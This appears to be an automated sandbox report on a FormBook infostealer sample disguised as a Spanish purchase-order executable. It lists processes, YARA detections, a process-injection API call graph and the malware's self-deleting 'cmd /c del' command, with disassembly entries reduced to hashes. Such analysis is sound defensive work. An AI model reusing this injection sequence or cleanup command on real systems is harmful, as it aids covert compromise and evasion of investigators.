                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Reputation:high
                                                                                                            Has exited:true

                                                                                                            General

                                                                                                            Target ID:5
                                                                                                            Start time:14:54:39
                                                                                                            Start date:28/02/2024
                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                            Wow64 process (32bit):false
                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            Imagebase:0x7ff75da10000
                                                                                                            File size:862'208 bytes
                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Reputation:high
                                                                                                            Has exited:true

                                                                                                            General

                                                                                                            Target ID:6
                                                                                                            Start time:14:54:39
                                                                                                            Start date:28/02/2024
                                                                                                            Path:C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                                                                                                            Imagebase:0xb80000
                                                                                                            File size:711'680 bytes
                                                                                                            MD5 hash:EEC85A3805BCA7A05B1E669F3A043BC6
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Yara matches:
                                                                                                            • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                            • Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            Reputation:low
                                                                                                            Has exited:true

                                                                                                            General

                                                                                                            Target ID:7
                                                                                                            Start time:14:54:39
                                                                                                            Start date:28/02/2024
                                                                                                            Path:C:\Windows\explorer.exe
                                                                                                            Wow64 process (32bit):false
                                                                                                            Commandline:C:\Windows\Explorer.EXE
                                                                                                            Imagebase:0x7ff70ffd0000
                                                                                                            File size:5'141'208 bytes
                                                                                                            MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                            Has elevated privileges:false
                                                                                                            Has administrator privileges:false
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Yara matches:
                                                                                                            • Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000007.00000002.3796185468.000000000869F000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                            Reputation:high
                                                                                                            Has exited:false

                                                                                                            General

                                                                                                            Target ID:8
                                                                                                            Start time:14:54:42
                                                                                                            Start date:28/02/2024
                                                                                                            Path:C:\Windows\SysWOW64\msiexec.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:C:\Windows\SysWOW64\msiexec.exe
                                                                                                            Imagebase:0xbd0000
                                                                                                            File size:59'904 bytes
                                                                                                            MD5 hash:9D09DC1EDA745A5F87553048E57620CF
                                                                                                            Has elevated privileges:false
                                                                                                            Has administrator privileges:false
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Yara matches:
                                                                                                            • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                            • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                            • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                            • Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            Reputation:high
                                                                                                            Has exited:false

                                                                                                            General

                                                                                                            Target ID:9
                                                                                                            Start time:14:54:45
                                                                                                            Start date:28/02/2024
                                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:/c del "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe"
                                                                                                            Imagebase:0x410000
                                                                                                            File size:236'544 bytes
                                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                            Has elevated privileges:false
                                                                                                            Has administrator privileges:false
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Reputation:high
                                                                                                            Has exited:true

                                                                                                            General

                                                                                                            Target ID:10
                                                                                                            Start time:14:54:45
                                                                                                            Start date:28/02/2024
                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                            Wow64 process (32bit):false
                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            Imagebase:0x7ff75da10000
                                                                                                            File size:862'208 bytes
                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                            Has elevated privileges:false
                                                                                                            Has administrator privileges:false
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Reputation:high
                                                                                                            Has exited:true

                                                                                                            Disassembly

                                                                                                            Reset < >

                                                                                                              Execution Graph

                                                                                                              Execution Coverage:9.1%
                                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                                              Signature Coverage:0%
                                                                                                              Total number of Nodes:204
                                                                                                              Total number of Limit Nodes:9
                                                                                                              execution_graph 58077 6ea5c78 58079 6ea5cc6 DrawTextExW 58077->58079 58080 6ea5d1e 58079->58080 58044 bfac38 58048 bfad30 58044->58048 58053 bfad20 58044->58053 58045 bfac47 58049 bfad41 58048->58049 58050 bfad5c 58048->58050 58049->58050 58058 bfafba 58049->58058 58062 bfafc8 58049->58062 58050->58045 58054 bfad41 58053->58054 58055 bfad5c 58053->58055 58054->58055 58056 bfafba LoadLibraryExW 58054->58056 58057 bfafc8 LoadLibraryExW 58054->58057 58055->58045 58056->58055 58057->58055 58059 bfafdc 58058->58059 58061 bfb001 58059->58061 58066 bfa998 58059->58066 58061->58050 58063 bfafdc 58062->58063 58064 bfa998 LoadLibraryExW 58063->58064 58065 bfb001 58063->58065 58064->58065 58065->58050 58067 bfb1a8 LoadLibraryExW 58066->58067 58069 bfb221 58067->58069 58069->58061 58070 7374cb0 58071 7374e3b 58070->58071 58072 7374cd6 58070->58072 58072->58071 58074 7372290 58072->58074 58075 7374f30 PostMessageW 58074->58075 58076 7374f9c 58075->58076 58076->58072 58085 7371980 58090 7373ab0 58085->58090 58108 7373b1e 58085->58108 58127 7373ac0 58085->58127 58086 7371959 58091 7373ac0 58090->58091 58145 73741f5 58091->58145 58150 737478b 58091->58150 58154 73740cb 58091->58154 58159 7373eec 58091->58159 58166 737440c 58091->58166 58171 73746ad 58091->58171 58176 73740ee 58091->58176 58183 73740a0 58091->58183 58188 7373f41 58091->58188 58193 7374306 58091->58193 58198 7374906 58091->58198 58202 7374286 58091->58202 58207 73741bc 58091->58207 58212 7374011 58091->58212 58217 7374274 58091->58217 58109 7373aac 58108->58109 58111 7373b21 58108->58111 58112 73741f5 2 API calls 58109->58112 58113 7374274 2 API calls 58109->58113 58114 7374011 2 API calls 58109->58114 58115 73741bc 2 API calls 58109->58115 58116 7374286 2 API calls 58109->58116 58117 7374906 2 API calls 58109->58117 58118 7374306 2 API calls 58109->58118 58119 7373f41 2 API calls 58109->58119 58120 73740a0 2 API calls 58109->58120 58121 73740ee 4 API calls 58109->58121 58122 73746ad 2 API calls 58109->58122 58123 737440c 2 API calls 58109->58123 58124 7373eec 4 API calls 58109->58124 58125 73740cb 2 API calls 58109->58125 58126 737478b 2 API calls 58109->58126 58110 7373afe 58110->58086 58111->58086 58112->58110 58113->58110 58114->58110 58115->58110 58116->58110 58117->58110 58118->58110 58119->58110 58120->58110 58121->58110 58122->58110 58123->58110 58124->58110 58125->58110 58126->58110 58128 7373ada 58127->58128 58130 73741f5 2 API calls 58128->58130 58131 7374274 2 API calls 58128->58131 58132 7374011 2 API calls 58128->58132 58133 73741bc 2 API calls 58128->58133 58134 7374286 2 API calls 58128->58134 58135 7374906 2 API calls 58128->58135 58136 7374306 2 API calls 58128->58136 58137 7373f41 2 API calls 58128->58137 58138 73740a0 2 API calls 58128->58138 58139 73740ee 4 API calls 58128->58139 58140 73746ad 2 API calls 58128->58140 58141 737440c 2 API calls 58128->58141 58142 7373eec 4 API calls 58128->58142 58143 73740cb 2 API calls 58128->58143 58144 737478b 2 API calls 58128->58144 58129 7373afe 58129->58086 58130->58129 58131->58129 58132->58129 58133->58129 58134->58129 58135->58129 58136->58129 58137->58129 58138->58129 58139->58129 58140->58129 58141->58129 58142->58129 58143->58129 58144->58129 58146 7374205 58145->58146 58222 7371231 58146->58222 58226 7371238 58146->58226 58147 737470f 58230 7371171 58150->58230 58234 7371178 58150->58234 58151 73747a9 58155 7373f4a 58154->58155 58155->58154 58156 7373f5c 58155->58156 58238 73710a0 58155->58238 58242 7371099 58155->58242 58246 73714b5 58159->58246 58250 73714c0 58159->58250 58167 7374412 58166->58167 58254 7370ff0 58167->58254 58258 7370fe8 58167->58258 58168 7374824 58172 7373f4a 58171->58172 58172->58171 58173 7373f5c 58172->58173 58174 73710a0 Wow64SetThreadContext 58172->58174 58175 7371099 Wow64SetThreadContext 58172->58175 58174->58172 58175->58172 58181 7371231 WriteProcessMemory 58176->58181 58182 7371238 WriteProcessMemory 58176->58182 58177 7373f4a 58178 7373f5c 58177->58178 58179 73710a0 Wow64SetThreadContext 58177->58179 58180 7371099 Wow64SetThreadContext 58177->58180 58179->58177 58180->58177 58181->58177 58182->58177 58184 7373f4a 58183->58184 58185 7373f5c 58184->58185 58186 73710a0 Wow64SetThreadContext 58184->58186 58187 7371099 Wow64SetThreadContext 58184->58187 58186->58184 58187->58184 58190 7373f4a 58188->58190 58189 7373f5c 58190->58189 58191 73710a0 Wow64SetThreadContext 58190->58191 58192 7371099 Wow64SetThreadContext 58190->58192 58191->58190 58192->58190 58195 7373f4a 58193->58195 58194 7373f5c 58195->58194 58196 73710a0 Wow64SetThreadContext 58195->58196 58197 7371099 Wow64SetThreadContext 58195->58197 58196->58195 58197->58195 58262 7374ba0 58198->58262 58267 7374b90 58198->58267 58199 737491e 58203 73745d3 58202->58203 58272 7371320 58203->58272 58276 7371328 58203->58276 58204 73745f5 58208 73741db 58207->58208 58210 7371231 WriteProcessMemory 58208->58210 58211 7371238 WriteProcessMemory 58208->58211 58209 737476c 58210->58209 58211->58209 58213 737402b 58212->58213 58215 7370ff0 ResumeThread 58213->58215 58216 7370fe8 ResumeThread 58213->58216 58214 7374824 58215->58214 58216->58214 58218 73741f4 58217->58218 58220 7371231 WriteProcessMemory 58218->58220 58221 7371238 WriteProcessMemory 58218->58221 58219 737470f 58220->58219 58221->58219 58223 7371280 WriteProcessMemory 58222->58223 58225 73712d7 58223->58225 58225->58147 58227 7371280 WriteProcessMemory 58226->58227 58229 73712d7 58227->58229 58229->58147 58231 7371178 VirtualAllocEx 58230->58231 58233 73711f5 58231->58233 58233->58151 58235 73711b8 VirtualAllocEx 58234->58235 58237 73711f5 58235->58237 58237->58151 58239 73710e5 Wow64SetThreadContext 58238->58239 58241 737112d 58239->58241 58241->58155 58243 73710a0 Wow64SetThreadContext 58242->58243 58245 737112d 58243->58245 58245->58155 58247 7371549 CreateProcessA 58246->58247 58249 737170b 58247->58249 58251 7371549 CreateProcessA 58250->58251 58253 737170b 58251->58253 58255 7371030 ResumeThread 58254->58255 58257 7371061 58255->58257 58257->58168 58259 7370ff0 ResumeThread 58258->58259 58261 7371061 58259->58261 58261->58168 58263 7374bb5 58262->58263 58265 73710a0 Wow64SetThreadContext 58263->58265 58266 7371099 Wow64SetThreadContext 58263->58266 58264 7374bcb 58264->58199 58265->58264 58266->58264 58268 7374ba0 58267->58268 58270 73710a0 Wow64SetThreadContext 58268->58270 58271 7371099 Wow64SetThreadContext 58268->58271 58269 7374bcb 58269->58199 58270->58269 58271->58269 58273 7371328 ReadProcessMemory 58272->58273 58275 73713b7 58273->58275 58275->58204 58277 7371373 ReadProcessMemory 58276->58277 58279 73713b7 58277->58279 58279->58204 58280 bf4668 58281 bf467a 58280->58281 58282 bf4686 58281->58282 58284 bf4779 58281->58284 58285 bf479d 58284->58285 58289 bf4888 58285->58289 58293 bf4879 58285->58293 58291 bf48af 58289->58291 58290 bf498c 58291->58290 58297 bf44b4 58291->58297 58295 bf48af 58293->58295 58294 bf498c 58295->58294 58296 bf44b4 CreateActCtxA 58295->58296 58296->58294 58298 bf5918 CreateActCtxA 58297->58298 58300 bf59db 58298->58300 58300->58300 58301 bfbbd8 58302 bfbc1e 58301->58302 58306 bfc1b0 58302->58306 58309 bfc1c0 58302->58309 58303 bfbd0b 58312 bfbdac 58306->58312 58310 bfc1ee 58309->58310 58311 bfbdac DuplicateHandle 58309->58311 58310->58303 58311->58310 58313 bfc228 DuplicateHandle 58312->58313 58314 bfc1ee 58313->58314 58314->58303 58081 bfaf20 58082 bfaf68 GetModuleHandleW 58081->58082 58083 bfaf62 58081->58083 58084 bfaf95 58082->58084 58083->58082

                                                                                                              Executed Functions

                                                                                                              Function 06FF1450 Relevance: 4.4, Strings: 1, Instructions: 3148COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 0 6ff1450-6ff147b 1 6ff147d 0->1 2 6ff1482-6ff1b7a call 6ff10a0 * 2 call 6ff10b0 call 6ff10a0 call 6ff10b0 call 6ff10a0 call 6ff10b0 call 6ff10a0 call 6ff10b0 call 6ff10a0 call 6ff10b0 0->2 1->2 513 6ff1b7d call 6ff4ea0 2->513 514 6ff1b7d call 6ff4e90 2->514 109 6ff1b80-6ff1ea2 132 6ff2006-6ff2017 109->132 133 6ff201f-6ff2021 132->133 134 6ff2019 132->134 137 6ff2028-6ff2037 133->137 135 6ff201b-6ff201d 134->135 136 6ff2023 134->136 135->133 135->136 136->137 138 6ff203d-6ff2340 137->138 139 6ff1ea7-6ff1f17 137->139 187 6ff2347-6ff2367 138->187 188 6ff2342 138->188 144 6ff1f1e-6ff1f28 139->144 145 6ff1f19 139->145 147 6ff1f2a-6ff1f2e 144->147 148 6ff1f37-6ff1f3b 144->148 145->144 149 6ff1f35 147->149 150 6ff1f30 147->150 151 6ff1f3d 148->151 152 6ff1f42-6ff1f48 148->152 149->152 150->149 151->152 154 6ff1f4f-6ff1f74 152->154 155 6ff1f4a 152->155 160 6ff1f76-6ff1f78 154->160 161 6ff1f81-6ff1f84 154->161 155->154 162 6ff1f7f 160->162 163 6ff1f7a 160->163 164 6ff1f8b-6ff1f94 161->164 165 6ff1f86 161->165 162->164 163->162 167 6ff1f9b-6ff1fda 164->167 168 6ff1f96 164->168 165->164 174 6ff1fdc 167->174 175 6ff1fe1-6ff2003 167->175 168->167 174->175 175->132 190 6ff236e-6ff2404 187->190 191 6ff2369 187->191 188->187 196 6ff240b-6ff242b 190->196 197 6ff2406 190->197 191->190 199 6ff242d 196->199 200 6ff2432-6ff2488 196->200 197->196 199->200 515 6ff248e call 6ff58d5 200->515 516 6ff248e call 6ff5910 200->516 204 6ff2494-6ff48a0 call 6ff10c0 call 6ff10d0 call 6ff10e0 call 6ff10c0 call 6ff10d0 call 6ff10e0 call 6ff10f0 call 6ff1100 call 6ff1110 call 6ff10c0 call 6ff10d0 call 6ff10e0 call 6ff1110 call 6ff1100 call 6ff1110 call 6ff10c0 call 6ff10d0 call 6ff10e0 call 6ff10f0 call 6ff1100 call 6ff1110 call 6ff10c0 call 6ff10d0 call 6ff10e0 call 6ff10f0 call 6ff1100 call 6ff1110 call 6ff10c0 call 6ff10d0 call 6ff10e0 call 6ff10f0 call 6ff1120 call 6ff1100 call 6ff1110 call 6ff1130 call 6ff1140 513->109 514->109 515->204 516->204
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: $Nq
                                                                                                              • API String ID: 0-1575210091
                                                                                                              • Opcode ID: 89d51cdb25176845635de3f0c8222b10aae9eb51dc9da235a122ff1b600761f2
                                                                                                              • Instruction ID: a5962f9d87b8dbd4c6f0bbe24913b25d5e5c1b95e472cad6758208b57e06812c
                                                                                                              • Opcode Fuzzy Hash: 89d51cdb25176845635de3f0c8222b10aae9eb51dc9da235a122ff1b600761f2
                                                                                                              • Instruction Fuzzy Hash: 5173E734A10659CFD724DF64CC94A9AB7B2FF89301F5186EAE5096B361DB31AE81CF40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF70E7 Relevance: 2.6, Instructions: 2612COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3a7e2b21ad9a9e523ea937faca03584822ecde1d127d8c9e652bea31b79f35fa
                                                                                                              • Instruction ID: cc6e51589822d29da681d24015290d09a349d92cd8b1e7099c9de96dc348a7a4
                                                                                                              • Opcode Fuzzy Hash: 3a7e2b21ad9a9e523ea937faca03584822ecde1d127d8c9e652bea31b79f35fa
                                                                                                              • Instruction Fuzzy Hash: 9353F674E10219CFDBA4DF68C888A9DB7B2BF89310F158599D519AB3A1CB31ED81CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFC2B1 Relevance: 1.3, Strings: 1, Instructions: 82COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: 54F
                                                                                                              • API String ID: 0-3824370542
                                                                                                              • Opcode ID: 57f08ee036e6dbc0fea55e5740998e9da707d298e73d5f9cad648199b9d91fc4
                                                                                                              • Instruction ID: ab79191b2ac2ab1916ef1c2612fc4559a52545c05d90e9f57ddcd0dc90b584c8
                                                                                                              • Opcode Fuzzy Hash: 57f08ee036e6dbc0fea55e5740998e9da707d298e73d5f9cad648199b9d91fc4
                                                                                                              • Instruction Fuzzy Hash: 53313671E016588BDB58CFAAD8443CEFBF6BFC9310F14C06AD409AA264DB351A46CF40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0034 Relevance: 1.0, Instructions: 982COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 537ac948c6413b6ee606c36f3c3c78bfff04cd955ad5396d6673323204d9eec3
                                                                                                              • Instruction ID: 6ba9731f9b37a595895b58cd0b6155af231e180f5b0521691855e3e8db43ee63
                                                                                                              • Opcode Fuzzy Hash: 537ac948c6413b6ee606c36f3c3c78bfff04cd955ad5396d6673323204d9eec3
                                                                                                              • Instruction Fuzzy Hash: 0B72D131B002048FDB58EB79C854B6E7BA6AFC9310F148569E10ADB3A5DF34ED06C7A5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF6510 Relevance: .8, Instructions: 836COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f536b1d49c75bf5103130bccfc6f99e426bd515a7ad333c8abb0d90e08418bfe
                                                                                                              • Instruction ID: e3d2e0aae2553cd7986ec3b9f3a45b2bf489830703ff5557db8265e6f12d2767
                                                                                                              • Opcode Fuzzy Hash: f536b1d49c75bf5103130bccfc6f99e426bd515a7ad333c8abb0d90e08418bfe
                                                                                                              • Instruction Fuzzy Hash: 52626E35E102159FDB98DF69C884A6DBBB2BF89310B158169E906DB3B1DF31EC41CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06EAA318 Relevance: .7, Instructions: 668COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401201967.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ea0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f5516af1f0b406d67fc8db9fa38f062ced6663ee597520ff051f66bff89f1c02
                                                                                                              • Instruction ID: 3dd4e72d27dba88ebca3aa34a80fa3a373e810c93faff54c1c23fc521861c15b
                                                                                                              • Opcode Fuzzy Hash: f5516af1f0b406d67fc8db9fa38f062ced6663ee597520ff051f66bff89f1c02
                                                                                                              • Instruction Fuzzy Hash: F452E134A007048FDB64DF68C598A6DB7F2AF88315F1595A8E40A9F361DB31FD46CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07300BF0 Relevance: .5, Instructions: 506COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6012d7b64e6b1ec59b6f9437eb3771dfe217fc637a44459a8a9beb98c401a8aa
                                                                                                              • Instruction ID: 4a63978cce6b2f0503c901303b2c2222f27398ccff95384be5a6b8b337826aba
                                                                                                              • Opcode Fuzzy Hash: 6012d7b64e6b1ec59b6f9437eb3771dfe217fc637a44459a8a9beb98c401a8aa
                                                                                                              • Instruction Fuzzy Hash: 86323AB4E15219CFDB58CFA9C990B9DBBB2BF89300F1084AAD409BB755DB309981CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07300BB9 Relevance: .5, Instructions: 504COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3238097fe921b5303e621c73da544a69256d76e54fb2e5b3f3046ea8441c4868
                                                                                                              • Instruction ID: 4cde2d31fb67c7681ae180d5b0dac7713f4f92c7c28c9b9cf3b5dd7db0326e12
                                                                                                              • Opcode Fuzzy Hash: 3238097fe921b5303e621c73da544a69256d76e54fb2e5b3f3046ea8441c4868
                                                                                                              • Instruction Fuzzy Hash: 122239B4E11219CFDB58CFA9C994B9DBBB2BF89310F1080AAD409BB755DB309981CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF9CF0 Relevance: .4, Instructions: 403COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 15d113cf302dbea82f899adcff08af3948bddaa5d20f5fc19e26ffa26661ce37
                                                                                                              • Instruction ID: 0b33d1ea91c604bb16e1331e74faed903d36300d4a25c2acb937c187f55d95f0
                                                                                                              • Opcode Fuzzy Hash: 15d113cf302dbea82f899adcff08af3948bddaa5d20f5fc19e26ffa26661ce37
                                                                                                              • Instruction Fuzzy Hash: DBD1C331B10204CFDBA8DB79D85476D7BE7AFC9600B2480A9D10ACB375DE758C42CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730101B Relevance: .2, Instructions: 221COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9b8e6ebb62b20161e4058c852e4f70825942169e51527a79bcdefdc46e1050fb
                                                                                                              • Instruction ID: 5a8114c2e268cb79c9bc7d0b3d8299b68646335e0fac2b7ac715d9541660584d
                                                                                                              • Opcode Fuzzy Hash: 9b8e6ebb62b20161e4058c852e4f70825942169e51527a79bcdefdc46e1050fb
                                                                                                              • Instruction Fuzzy Hash: DCA119B4E1521DCFDB64CFA5C950B9DBBB2FB89300F1085AAD40AAB794DB319981CF50
